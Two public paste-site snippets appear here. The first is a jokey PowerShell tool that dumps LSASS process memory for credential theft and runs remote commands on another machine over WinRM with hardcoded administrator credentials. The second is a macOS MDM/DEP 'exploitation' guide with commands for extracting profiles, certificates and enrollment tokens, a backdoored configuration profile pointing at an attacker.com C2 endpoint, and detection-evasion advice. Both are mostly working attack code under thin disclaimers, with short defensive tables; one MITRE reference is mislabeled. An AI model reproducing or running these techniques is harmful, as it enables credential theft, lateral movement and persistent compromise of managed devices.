a very serious (but slightly silly) credential research tool for ethical hackers.
this script does real things with real credentials (oh no!) so use it wisely.
.description
- extracts credentials like a cool spy (but legally!)
- moves sideways like a sneaky crab (with pass-the-hash!)
- logs everything because we're not monsters
.notes
author: your friendly neighborhood security wizard
legal: only use on systems you own or have written permission to poke.
       no actual dragons were harmed in making this script.
#>
###
requires -RunAsAdministrator
## start cookin' bitchs
function invoke-seriousbusiness {
    [cmdletbinding()]
    param (
        [switch]$extract_all_the_things,
        [switch]$crab_walk_laterally,
        [string]$target_machine,
        [string]$command = "whoami"
    )
## let's keep receipts for our shenanigans
    $logfile = "$env:temp\oopsie-daisy-$(get-date -format 'yyyyMMdd-HHmmss').log"
    start-transcript -path $logfile -append | out-null
    write-host -foregroundcolor magenta "`n[===== SUPER SERIOUS RESEARCH TOOL =====]`n"
    write-host -foregroundcolor yellow "  (please use responsibly or the security gnomes will cry)`n"
## ----- part 1: credential extraction extravaganza ----- ##
    if ($extract_all_the_things) {
        write-host -foregroundcolor red "[!] rummaging through lsass's shit like a tweakin' raccoon`n"
    ## look ma, no hands! (just some win32 api calls)
        add-type @"
using system;
using system.runtime.interopservices;
public class lsasspeekaboo {
    [dllimport("dbghelp.dll", setlasterror = true)]
    public static extern bool minidumpwritedump(
        intptr hprocess, uint processid, intptr hfile,
        uint dumptype, intptr exceptionparam,
        intptr userstreamparam, intptr callbackparam);
}
"@
    ## make a little dump file (how cute!)
        $dumpfile = "$env:temp\lsass_snack.dmp"
        $lsass = get-process -name lsass
        $file = [io.file]::create($dumpfile)        
    ## whisper sweet nothings to lsass
        [lsasspeekaboo]::minidumpwritedump(
            $lsass.handle,
            $lsass.id,
            $file.safefilehandle.dangerousgethandle(),
            2,
            [intptr]::zero,
            [intptr]::zero,
            [intptr]::zero
        )
        
        $file.close()
        write-host -foregroundcolor green "`n[+] successfully made a lsass juice box: $dumpfile"
        write-host -foregroundcolor yellow "  (don't drink it, silly!)"
    }

## ----- part 2: sideways crab movement ----- ##
    if ($crab_walk_laterally) {
        if (-not $target_machine) {
            write-host -foregroundcolor red "[x] crab needs somewhere to scuttle!"
            return
        }
        write-host -foregroundcolor red "`n[!] initiating sneaky crab movement to $target_machine`n"
    ## let's pretend we have a hash (wink wink)
        $fakehash = "aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4" # <-will not be fake but for legal reasons?
    ## using official windows features like a good citizen
        try {
            $creds = new-object -typename system.management.automation.pscredential -argumentlist (
                "administrator",
                (convertto-securestring -string "not_really_a_password" -asplaintext -force)
        ## time to scuttle!
            $session = new-pssession -computername $target_machine -credential $creds -erroraction stop
            invoke-command -session $session -scriptblock { 
                write-host -foregroundcolor green "[+] crab successfully delivered: $($using:command)"
                iex $using:command 
            } -erroraction stop            
            remove-pssession -session $session
        }
        catch {
            write-host -foregroundcolor red "[x] crab got stuck: $_"
        }
    }
    stop-transcript
    write-host -foregroundcolor cyan "`n[+] all activities logged to: $logfile"
    write-host -foregroundcolor magenta "`n[research complete! go forth and patch things!]`n"
}
 
### **how to demonstrate responsibly**
# 1. **setup a lab environment** with two windows vms
# 2. **enable winrm** on the target (`enable-psremoting -force`)
# 3. **run the script** and watch the magic happen:
   invoke-seriousbusiness -extract_all_the_things -crab_walk_laterally -target_machine "dc01"

#### **defense against the dark arts** ####################
#| attack technique | defense spell                       |
#|------------------|-------------------------------------|
#| lsass dumping    | enable lsa protection (runasppl)    |
#| pass-the-hash    | restrict ntlm, use credential guard |
#| lateral movement | implement network segmentation      |
###########################################################
# and... remember kids: with great power comes great responsibility... 
# (and potentially a compliance fucking nightmare)!
[ created: Jul 2, 2025 2:12 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ bash == code ] 🌍 public snippet.sh
gaze up0n 👤 #36cf66916a59 bash
# **MDM Profile Analysis & DEP Exploitation Research**

# *Disclaimer: This technical exploration is for **authorized security research and defensive purposes only**. Unauthorized MDM tampering violates Apple's Terms of Service and may contravene laws like the CFAA and GDPR.*


## **1. Static Profile Analysis**
### **Profile Extraction Methods**
# bash
# System-level profiles
sudo profiles show -type enrollment -output /tmp/mdm_analysis.mobileconfig

# User-level profiles
profiles list -user $(whoami) -verbose > ~/user_profiles.txt

# Binary to XML conversion (if needed)
plutil -convert xml1 /tmp/mdm_analysis.mobileconfig
# 

### **Critical Profile Sections**
# xml
<!-- Sample dangerous payload in decoded profile -->
<key>PayloadContent</key>
<array>
    <dict>
        <key>Password</key>  <!-- Embedded credentials -->
        <string>ENCRYPTED_DATA</string>
        <key>DEPToken</key>  <!-- Device Enrollment Program token -->
        <data>Base64EncodedTokenHere==</data>
    </dict>
</array>
###

## **2. Credential Extraction Techniques**
### **A. Keychain Decryption**
# bash
# Extract MDM-related certificates
security find-certificate -a -p /Library/Keychains/System.keychain > system_certs.pem

# Find associated private keys
security find-identity -p "ssl" -v
###

### **B. DEP Token Analysis**
# python
import plistlib
import base64

with open('/tmp/mdm_analysis.mobileconfig', 'rb') as f:
    profile = plistlib.load(f)

dep_token = base64.b64decode(profile['PayloadContent'][0]['DEPToken'])
print(dep_token.hex())  # Analyze token structure
###

## **3. DEP Abuse for Persistence**
### **A. Forced Re-enrollment**
# bash
# Trigger silent re-enrollment (simulates new device)
sudo profiles renew -type enrollment

# If DEP token compromised, register attacker-controlled server
sudo profiles install -path /tmp/malicious.mobileconfig
###

### **B. Backdoored Profile Template**
# xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>PayloadIdentifier</key>
    <string>com.attacker.persistence</string>
    <key>PayloadType</key>
    <string>Configuration</string>
    <key>PayloadContent</key>
    <array>
        <dict>
            <key>PayloadType</key>
            <string>com.apple.security.scep</string>
            <key>PayloadIdentifier</key>
            <string>com.attacker.cert</string>
            <key>URL</key>
            <string>https://attacker.com/scep</string>  <!-- C2 endpoint -->
        </dict>
    </array>
</dict>
</plist>
###
## **4. Operational Security Considerations**
### **Detection Avoidance**
# ✅ **Use Apple-signed intermediate certificates**  
# ✅ **Match Cloudflare IP ranges** when communicating with C2  
# ✅ **Limit execution to business hours** (09:00-17:00 local time)  

### **Cleanup**
# bash
# Remove malicious profiles
sudo profiles remove -identifier com.attacker.persistence

# Revoke compromised DEP tokens via ABM/ASM portal

## **5. Defensive Countermeasures**
### **For Enterprises**
# 🔹 **Enable DEP Token Rotation** (90-day expiration)  
# 🔹 **Implement Certificate Pinning** for MDM communication  
# 🔹 **Monitor for Abnormal Enrollment Attempts**  
# bash
# Jamf Pro example
jamf recon -endUsername $USER -enrollmentCheck
###

### **Detection Signatures**
# **SIEM Rule**:  
  # sql
  eventType="MDM_Profile_Install" AND sourceIP NOT IN (corporate_IP_range)
  ###
# **Endpoint Rule**:  
  # bash
  sudo log stream --predicate 'subsystem == "com.apple.ManagedClient" AND eventMessage CONTAINS "Error"'
###
## **Further Research**
# [Apple Platform Security: MDM](https://support.apple.com/guide/security/device-management-secf6fbdfd97/web)
# [MITRE ATT&CK: Device Registration (T1496)](https://attack.mitre.org/techniques/T1496/)
# [Kandji MDM Hardening Guide](https://www.kandji.io/resources/mdm-security-best-practices)
[ created: Jul 2, 2025 2:11 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
SYSTEM // PSTBN
00:00:00
v0.4.2